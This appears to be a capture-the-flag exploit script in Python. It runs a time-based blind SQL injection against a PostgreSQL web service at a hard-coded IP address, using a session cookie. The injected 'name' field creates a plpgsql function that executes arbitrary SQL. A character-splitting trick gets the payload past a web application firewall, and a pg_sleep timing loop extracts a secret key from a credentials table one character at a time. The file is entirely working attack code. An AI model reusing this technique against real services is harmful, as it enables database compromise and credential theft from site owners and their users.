exploit.py

import requests
import time
import string

TIMEOUT = 10

def waf_bypass(payload):
    return "||".join([f"'{c}'" for c in payload])

def peek(substring):
    substring = substring.strip()
    print(substring)
    payload = f"SELECT secret_key FROM target_credentials WHERE CASE WHEN ({substring}) THEN pg_sleep({TIMEOUT}) is NULL ELSE FALSE END;"

    name = f"""';
    CREATE FUNCTION xtal_koo(i TEXT) RETURNS varchar AS 'BEGIN execute i;END' LANGUAGE plpgsql;
    SELECT xtal_koo({waf_bypass(payload)});\x00
    """
    start = time.time()
    try:
        requests.post(
            "http://47.242.21.212:8081",
            data={"name": name},
            cookies={"SessionId": "c6a6620516c4326929be4500454aea19"},
            timeout=TIMEOUT
        )
    except requests.exceptions.Timeout:
        pass
    finally:
        return time.time() - start


# while True:
password = "rwctf{"
charset = string.printable.replace('%','')
flag = True
while True:
    for c in charset:
        e = peek(
                f"secret_key LIKE $${password+c}%$$"
            )
        if e >= TIMEOUT:
            password += c
            print(e, password)
            break